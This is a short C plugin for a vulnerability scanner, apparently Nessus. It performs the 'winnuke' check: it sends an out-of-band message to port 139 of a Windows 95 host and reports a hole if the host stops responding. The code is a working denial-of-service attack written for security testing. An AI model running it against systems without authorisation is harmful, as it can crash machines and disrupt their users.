/*
 * 
 * winnuke
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>
#define NAME "winnuke"
#define DESC "This plugin sends a message out of band to the port 139 of a \
Windows95 machine, and attempts to crash it"
#define COPYRIGHT "no copyright"
#define SUMM "Windows denial of service using OOB msg on port 139"




PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_DENIAL);
	plug_set_family(desc, "Denial of Service");
	return(0);
}


PlugExport int plugin_run(struct arglist * env);
PlugExport int plugin_run(struct arglist * env)
{
	int soc;
	char * data;
	if(!host_get_port_state(env, 139))return(0);
	
	soc = open_sock_tcp(env, 139);
	if(soc<0)return(0);
	data = emalloc(10);
	memset(data, 'X', 8);
	data[9]='\n';
	send(soc, data, strlen(data), MSG_OOB);
	efree(&data);
	socket_close(soc);
	
	if((soc = open_sock_tcp(env, 139))<0)
	{
	 post_hole(env, 139, "We could lead the remote host to a denial of \
service by sending it a message out of band on port 139");
	}
	else socket_close(soc);
	
	return(0);
}
